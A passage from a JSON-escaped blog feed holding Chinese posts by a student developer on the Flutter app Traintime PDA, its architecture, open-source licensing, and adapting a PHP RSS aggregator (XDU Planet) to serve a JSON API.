class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003ePreferredSize\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003epreferredSize:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eSize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efromHeight\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ekToolbarHeight\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eonTop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebody:\u003c/span\u003e \u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003echild\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"pageview-组件使用\"\u003ePageView 组件使用\u003c/h4\u003e\n\u003cp\u003e还是跟组件状态玩命。\u003c/p\u003e\n\u003cp\u003e原先,我的首页是抄的 \u003ca class=\"link\" href=\"https://flutter.github.io/samples/material_3.html\" target=\"_blank\" rel=\"noopener\"\n \u003eFlutter 的 M3 实例\u003c/a\u003e。这样我就可以在横屏幕时候使用左侧的 \u003ca class=\"link\" href=\"https://m3.material.io/components/navigation-rail/overview\" target=\"_blank\" rel=\"noopener\"\n \u003eNavigationRail\u003c/a\u003e,竖屏幕的时候使用底部的 \u003ca class=\"link\" href=\"https://m3.material.io/components/navigation-bar/overview\" target=\"_blank\" rel=\"noopener\"\n \u003eNavigationBar\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e那么,问题在哪?我原先写的组件,将横屏渲染和竖屏渲染函数给分开写了。结果就导致前几天我迁移首页四个卡片到 PageView 的时候,出现了横屏和竖屏切换时候,页面永远会刷新到第一页。一开始我看了好久的 StatefulWidget 的状态周期,我也没明白。最后我发现,我这是两个组件,每次刷新的时候都会重新绘制这两个组件。解决方法就是,将这两个组件合二为一,在一个组件里面渲染,使用 \u003ccode\u003eVisibility\u003c/code\u003e 组件按需隐藏。\u003c/p\u003e\n\u003ch2 id=\"关于开源的想法\"\u003e关于开源的想法\u003c/h2\u003e\n\u003cp\u003e我对软件,按照开源和开发者,这么看:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e个人开发的开源软件或半开源软件 \u0026gt; 集体开发的开源软件 \u0026gt; 个人开发的闭源软件 \u0026gt; 集体开发的半开源软件 \u0026gt; 集体开发的闭源软件\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e其中,半开源软件请参考 \u003ca class=\"link\" href=\"https://f-droid.org/zh_Hans/docs/Anti-Features/\" target=\"_blank\" rel=\"noopener\"\n \u003eFDroid 的负面特征定义\u003c/a\u003e。显然我的软件属于半开源软件,我这个软件实质上模拟了你在浏览器中,对学校后端的访问。\u003c/p\u003e\n\u003cp\u003e实际上软件的开源与否,并不重要,重要的是软件本身能不能很好用,而按照我的经验,软件的好用也可以这么排序,尤其是手机端应用()\u003c/p\u003e\n\u003cp\u003e所以,我虽然经常说开源很重要,但这个实际上是因为我认为个人开发者的产品更好而导致的。而开源软件放前面,是因为代码开放让人用着更舒服,可能我长期用 Linux 留下来的某种遗留症状。而且我某种意义上,真的不喜欢封闭的东西,虽然我发现大家都喜欢。\u003c/p\u003e\n\u003cp\u003e而为啥我要将这个软件按照 MPL 授权,是因为我的软件有很多可以复用的东西,比如上面我大幅度提到的课程表和那个 BothSide 。这些复用的东西我将来是打算做成程序内的 package,如果按照 GPL ,不利于传播。而我目前程序状态,如果使用 MIT 之类的,那可能会有很多的魔改版,然后闭源了。MPL 是按照文件强制开源的,就目前状态所言,假如你只是用了我的课程表代码文件,那么,你只需要开源课程表代码文件+你对这个代码的修改,就好了。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/traintime-pda-v0.1.0-release-note.html"},{"title":"XDU Planet 感想","time":"2023-07-15T00:00:00Z","content":"\u003cimg src=\"http://legacy.superbart.top/picture/Random/adwaita-d.webp\" alt=\"Featured image of post XDU Planet 感想\" /\u003e\u003ch2 id=\"这个项目的由来\"\u003e这个项目的由来\u003c/h2\u003e\n\u003cp\u003e事情从我看同学博客说起。我感觉把我同学的博客都聚合到一起看,看起来更方便,而且还能满足我一直想当“干新闻的”想法。毕竟,我在校内开过一段时间电台,天天报新闻()\u003c/p\u003e\n\u003cp\u003e我的想法是,按照时间更新 RSS 数据,然后对其进行解码渲染。客户端先选择对象,然后选择文章,就可以看了。我的想法可以说是服务器版本的 RSS 阅读器,只不过 RSS 列表是我写好的同学博客。这个和看报纸十分相似:作者给报社供稿,报社展示。所以我说有点像“搞新闻的”。\u003c/p\u003e\n\u003ch3 id=\"第一次尝试\"\u003e第一次尝试\u003c/h3\u003e\n\u003cp\u003e大约是去年,有个人写了个 go 语言实现的 xduplanet,他的想法是运行一个服务器程序,内部订好抓取 RSS 源的顺序,然后渲染显示。我当下来代码发现,虽然他能做到我上面的想法,但是开发阶段比较原始,他只有一个 json 文件写入所有人的 RSS 链接。而且页面是一个文章列表,而不是先选人再选文章。当时我时间较紧,能力也没那么强,我就作罢。\u003c/p\u003e\n\u003ch3 id=\"第二次尝试\"\u003e第二次尝试\u003c/h3\u003e\n\u003cp\u003e在做 Web 工程大作业的时候,我们组不知为啥,搞的是从网上获取数据,然后用 RSS 输出数据的软件。他是一个管道过滤器结构,RSS 输出只是一个最终的端口。这也是我的一大意向程序,然而我并没帮忙开发多少,只是验收的时候我去演示了而已:-P\u003c/p\u003e\n\u003cp\u003e这个软件实际上十分接近我的需求了,我可以按照列表,推送当天同学博客有啥更新。但是那次演示完了,我感觉我是不想用了……\u003c/p\u003e\n\u003ch3 id=\"这次尝试\"\u003e这次尝试\u003c/h3\u003e\n\u003cp\u003e前几天有个玩老电脑的推荐我 68k.news 和小可怜网的代码。虽然一开始我只是抱着看看能不能用,在服务器上运行了一下,但是我看这网站,感觉我的 XDU Planet 想法终于可以实现了,而且这回基本算是做熟了,摆在了我的桌子上。但是你吃饭还得把菜放在嘴里\u0026hellip;..\u003c/p\u003e\n\u003ch3 id=\"代码修改\"\u003e代码修改\u003c/h3\u003e\n\u003cp\u003e修改了两个方面:Atom 源的支持和 API\u003c/p\u003e\n\u003ch4 id=\"atom-源头\"\u003eAtom 源头\u003c/h4\u003e\n\u003cp\u003e这个项目,由于本身是为了不支持 js 的老电脑显示当前新闻,他使用了 php-cgi 。不过没关心,我看代码十分简单,我就直接上了。我先简单地安排了我同学的博客,然后发现很多人的博客都显示不完全。\u003c/p\u003e\n\u003cp\u003e我去查看了这个项目使用的 php rss 库下面两个示例文件,和本项目进行比较。我发现本项目只支持 RSS 源头,而且 RSS 只支持查看 description 的东西。诚然对于显示新闻的 RSS 源来说,是够用了,但是我同学博客使用了不同的框架,这些框架输出源的格式对于这个程序,算超刚了:-P\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e一类是输出了 Atom 类型的源,这个打开头就和 RSS 不一样,程序最后报错。\u003c/li\u003e\n\u003cli\u003e一类是 RSS 源,但是内容都在 content:encoded 里面,这就是显示不完整。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e我是一个基本没接触过 PHP 的人,但是代码比较好理解,我发动 CV 大法,把示例文件里面的解码文件抄了过来。然后就可以显示了……乱码。\u003c/p\u003e\n\u003cp\u003e没错,可能是为了兼容老电脑,这个东西使用国标码编码中文。我还得套一层中文编码器,这个我倒感觉能理解。毕竟这个网站本身是针对 Windows 98 级别的老爷机了。\u003c/p\u003e\n\u003cp\u003e以上修改都是针对 channel.php 文件,也就是输出 RSS 文章列表和文章内容的代码。这个项目有很多诸如 channel_ppc.php 等文件,我故意没动,让他们管理我新闻东西的输出,看着新闻这点阵字体,真的很怀旧。\u003c/p\u003e\n\u003ch4 id=\"api\"\u003eAPI\u003c/h4\u003e\n\u003cp\u003e上面的修改过程也是对本项目架构和功能的一个了解。在此之后,我魔改生成 Json 响应代码也就顺水成舟了。\u003c/p\u003e\n\u003cp\u003e这就又要扯到 Traintime PDA 了,这是我大半年以来一直在写的信息查看器。我一直想给这玩意扩充点好玩的功能。最一开始我把很久以前给别人录的饭堂和综合楼数据,在我的程序上进行渲染。但是我总想给这玩意扩充点类似“社交”的功能。正好 XDU Planet 可以在一定程度上满足这个需求,这个可以给大家展示我们同学公开的实用东西,而且这个东西也不需要获取啥机密讯息:他们的博客都是在互联网上公开的,而且终端只需要单方面获取就行了,这是一个单向的信息传递。我的代码也都是开放的,十分符合我开源的执念233\u003c/p\u003e\n\u003cp\u003e前面我提到了 channel.php 的用途,而这个代码的前半部分基本不需要修改,我只需要把下面的 PHP-HTML 混合代码修改成纯脚本输出就行了。PHP 本身支持设置返回头啥的,我只需要把返回头设置成 application/json,然后使用 exit 函数返回我的数据就行了。这就是初步的修改。\u003c/p\u003e\n\u003cp\u003e显然这么简单一改是无法完全我的需求的,API 面向的客户端可不是老年机。为了最后的 Eye candy,我对最核心的数据结构进行了修改。你们可以查看我的 xdurepo.php 文件,我把这个人的图标,名称,地址都传了过去。而最终为了输出 json 更好被客户端解码,我在每个返回值外面都套上了 stdClass。\u003c/p\u003e\n\u003cp\u003e基本上 API 就算这样了,我这里写出来。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003eGET\u003c/span\u003e \u003cspan class=\"err\"\u003e/xduplanet.php\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;repos\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;benderblog\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"c1\"\u003e// key: 该对象名称,后面查询使用\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;SuperBart/Benderblog ~ 开发者\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 显示名称\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;website\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://www.superbart.top\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 博客网站\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;feed\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://www.superbart.top/index.xml\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// RSS 或 ATOM 源头\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;favicon\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://legacy.superbart.top/favicon.ico\u0026#34;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 图标\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003eGET\u003c/span\u003e \u003cspan class=\"err\"\u003e/xduplanet.php?feed=key\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e其中\u003c/span\u003e \u003cspan class=\"err\"\u003ekey\u003c/span\u003e \u003cspan class=\"err\"\u003e是上述提到的后面查询使用的\u003c/span\u003e \u003cspan class=\"err\"\u003ekey\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 文章列表,下面分别对应标题,发布时间和来源链接\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;list\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;title\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Flutter 介绍\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;time\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;2023-04-29T08:00:00+08:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;url\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://www.superbart.top/p/flutter-introduction.html\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// lastUpdateDate:本数据的获取时间,为将来备\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;lastUpdateTime\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1689432413\u003c/span\u003e\u003cspan class=\"err\"\u003e用\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003eGET\u003c/span\u003e \u003cspan class=\"err\"\u003e/xduplanet.php?feed=key\u0026amp;p=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e其中\u003c/span\u003e \u003cspan class=\"err\"\u003ekey\u003c/span\u003e \u003cspan class=\"err\"\u003e是上述提到的后面查询使用的\u003c/span\u003e \u003cspan class=\"err\"\u003ekey,p\u003c/span\u003e \u003cspan class=\"err\"\u003e指上面文章列表中第几个文章\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 文章标题,来源链接,发布时间,内容\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 注意内容是和前面所述老网站网页输出是一样的,也就是图片,视频等会被隐藏掉\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;title\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Flutter 介绍\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;link\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://www.superbart.top/p/flutter-introduction.html\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;time\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1682726400\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;content\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Omit here.\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e我在 Traintime PDA 里面的相关分页也写了相关页面,还明白了 PageView 如何保存状态,每天一个编程小常识这就是?\u003c/p\u003e\n\u003ch3 id=\"后面的胡说阶段\"\u003e后面的胡说阶段\u003c/h3\u003e\n\u003cp\u003e我把这个服务挂在了我的服务器上,还上新了一些外网著名媒体。没敢上那些明显危险的,我感觉这些媒体都算是比较中立的吧:-P\u003c/p\u003e\n\u003cp\u003e顺便想说几句 PHP 开发,我写了一个文件,然后调试方式只能传到服务器,然后看 nginx 的 log。魔改体验比较痛苦:-P\u003c/p\u003e\n\u003cp\u003e对于新闻,作为一个看了十年中央十三台的人来说,我有点无法理解拿新闻看乐子的人的想法。虽然这个方式确实是给了我这个老木头一点亮光。比如说,前几天是故日本首相安倍晋三被刺杀一周年纪念日,我作为严肃看新闻的,去看现任首相岸田文雄去纪念,然后继续不顾周边国家骂街去放核污水。但是有人说“日本JK被摔倒一周年纪念日”,我总觉得有点无语,倒也觉得正常。\u003c/p\u003e\n\u003cp\u003e但我发现,有些时候真的有点太过了。比如说俄乌战争,本来我去网上只是去看战争状况,然后就是无论从那个角度,都是“俄罗斯粉丝”和“乌克兰粉丝”互相隔空输出,顺便拿乌克兰找乐啥的。我总觉得拿人被欺负开玩笑很不合适,虽然这件事本身很复杂,没有任何人是无辜的。虽然我早就接触过楼下老大爷天天建政,也算“身经百战”,但是我感觉,这可是一个了解世界,了解想法很重要的渠道,就这么当作乐子,真的有点不太合适。\u003c/p\u003e\n\u003cp\u003e我希望看到的是对一个事件有调查,有分析,有结论的东西,这样无论如何至少都能骂两句(不是)。而不是“今天澳大利亚又刮起了沙尘暴,养羊的少了几只羊,估计是走失了”这样的短视频。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/xdu-planet-acquaintance.html"},{"title":"Traintime PDA 架构设计","time":"2023-06-06T00:00:00Z","content":"\u003cimg src=\"https://legacy.superbart.top/picture/XDYou_SAD/general_structure.png\" alt=\"Featured image of post Traintime PDA 架构设计 \" /\u003e\u003cp\u003eXDYou 就算 Traintime PDA 别称了。\u003c/p\u003e\n\u003ch2 id=\"整体架构设计\"\u003e整体架构设计\u003c/h2\u003e\n\u003cp\u003e由于本程序是一个信息查询工具,其基本是围绕数据运转的,所以我打算使用仓库架构。这个图作为一个大致的示例。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/XDYou_SAD/repo.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/XDYou_SAD/repo.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e但光靠一个“仓库”是无法维护本程序如此多类型的信息的,你现实中的仓库还得找个管理呢。因此我借鉴了构件系统的想法,把仓库里面的东西分成以下几个“部件”。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/XDYou_SAD/components.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/XDYou_SAD/components.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e仓库结构解决了我们如何管理我们复杂的数据,但是我们的程序是一个 GUI 程序。也就是说,这个程序有两个部分,一个是数据,一个是显示数据的东西。数据相当于仓库,而 GUI 是用来向仓库请求数据,并显示数据的部分。仓库返回数据的时候,肯定需要一些处理,这个东西就是控制器,是我们程序仓库的一大组成 部分,我将会在下面讲述。\n这个架构有个名称,叫做 MVC 架构,在此引入我在\u003ca class=\"link\" href=\"https://legacy.superbart.top/writing/Flutter%20Introduction.html\" target=\"_blank\" rel=\"noopener\"\n \u003eFlutter 介绍\u003c/a\u003e里面提到的东西:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e我先给大家介绍 MVC 架构,Model 模型,是说程序的功能。控制器是和视图View进行交流,View视图就是显示了。View 通过 Controller 获取 Model 中的东西。\n以下这段展示的是我程序对应的模型各组成的部分。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/XDYou_SAD/simple_structure.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/XDYou_SAD/simple_structure.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e这个架构也可以看作是一种流水线结构,其中控制器相当于一种过滤器。接下来我会专门开一章简介一下。\n同时,我们可以看出我们程序的层级结构,数据大致是从中心往外围传递的。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/XDYou_SAD/level.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/XDYou_SAD/level.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003ch2 id=\"控制器\"\u003e控制器\u003c/h2\u003e\n\u003cp\u003e我上文提到,控制器负责中转 GUI(也就是视图)的请求,处理后端传回来的数据。这个有两种实现方式,分别是观察式和控制器类式。\u003c/p\u003e\n\u003ch3 id=\"观察式\"\u003e观察式\u003c/h3\u003e\n\u003cp\u003e第一个是观察式,适用于数据单向流动,数据加工相对简单的情况。这种情况下,这个部件的数据流动遵循标准的数据流架构。这个过程中,由于数据的单向移动和最终 UI 的被动更新,我们可以认为是 UI \u003cstrong\u003e观察\u003c/strong\u003e数据改变。在这种情况下,数据更新依赖于其他部件的更新请求是不是顾及到了这个部件,比如说主页的全局刷新。\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/XDYou_SAD/observe.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/XDYou_SAD/observe.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003ch3 